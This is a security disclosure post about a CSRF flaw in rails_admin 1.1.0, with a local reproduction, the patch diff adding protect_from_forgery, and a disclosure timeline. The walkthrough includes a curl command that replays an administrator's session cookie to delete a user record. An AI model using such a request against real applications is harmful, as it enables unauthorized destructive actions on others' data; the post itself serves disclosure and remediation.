A few days ago, I found a CSRF vulnerability in rails_admin. rails_admin is a Ruby gem that generates administrative interfaces for your models automatically. Interestingly, this vulnerability is similar in nature to the one I found in administrate, a similar gem. Additionally, past Ruby gems affected in a similar fashion can be explored at this link.
Teardown
After a change introduced by this commit, controllers that are generated by rails_admin no longer inherit from the Rails application's ApplicationController
but instead inherit directly from ActionController::Base
. Since ActionController::Base
does not call protect_from_forgery
by default, the inheriting controllers fail to validate the authenticity tokens and are vulnerable to CSRF attacks.
A simple, yet effective, CSRF protection fix for all Rails applications has been proposed in a GitHub Pull Request in Rails' GitHub repository. When the fix has been approved and implemented, developers would only require to update the Rails version of the affected projects to enable application wide CSRF protection.
Since Non-GET methods no longer validate CSRF tokens, it is possible for an attacker to gain access to a site's administrative endpoints that are exposed by the gem.
Walkthrough
To reproduce this, create a minimal Rails application with a model. For this example, I shall create a User
model just to demonstrate an attacker deleting a user record from the database on behalf of the administrator.
rails new broken
cd broken
echo "gem 'rails_admin', '1.1.0'" >> Gemfile
bundle install
rails g rails_admin:install
rails generate model User name:string email:string
rails db:migrate
The database should now contain the user table. After a user is created, we can delete an user on the behalf of the administrator by passing the administrator's cookie to this curl command.
COOKIE=_brokenapp_session=M3Voa2pGcEwrYko2UDJJYVFIbHd2Zis1L0txd0RBcjhKK1gvRHdFbUZ...
curl -b $COOKIE --data "_method=delete" http://localhost:3000/admin/user/1/delete
We can confirm that the user is deleted by looking at the logs.
Started DELETE "/admin/user/1/delete" for ::1 at 2016-12-21 12:13:24 +0800
Processing by RailsAdmin::MainController#delete as */*
Parameters: {"model_name"=>"user", "id"=>"1"}
User Load (0.2ms) SELECT "users".* FROM "users" WHERE "users"."id" = ? ORDER BY "users"."id" ASC LIMIT ? [["id", 1], ["LIMIT", 1]]
(0.0ms) begin transaction
SQL (0.3ms) DELETE FROM "users" WHERE "users"."id" = ? [["id", 1]]
(1.7ms) commit transaction
Redirected to http://localhost:3000/admin/user
Completed 302 Found in 8ms (ActiveRecord: 2.2ms)
Fix
If you're using rails_admin in your application, please upgrade to its latest version. The fix is released in version 1.1.1. It was fixed by inserting the protect_from_forgery with: :exception
into rails_admin's ApplicationController
.
diff --git a/app/controllers/rails_admin/application_controller.rb b/app/controllers/rails_admin/application_controller.rb
index d933063..ed7fee5 100644
--- a/app/controllers/rails_admin/application_controller.rb
+++ b/app/controllers/rails_admin/application_controller.rb
@@ -11,6 +11,8 @@ module RailsAdmin
end
class ApplicationController < Config.parent_controller.constantize
+ protect_from_forgery with: :exception
+
before_action :_authenticate!
before_action :_authorize!
before_action :_audit!
Disclosure
After I have determined that rails_admin and Rails applications that uses it are vulnerable by default, I contacted Mitsuhiro Shibuya to notify him of the vulnerability. He promptly fixed the vulnerability and released version 1.1.1 to rubygems.org.
Timeline
- 2016-12-21 I contacted Mitsuhiro Shibuya regarding the CSRF vulnerability.
- 2016-12-25 He fixed the issue in this commit.
- 2016-12-25 He released version 1.1.1 shortly after.
Details about the vulnerability can also be found in our catalog at this link. In other words, if you are a SourceClear customer, you are already protected.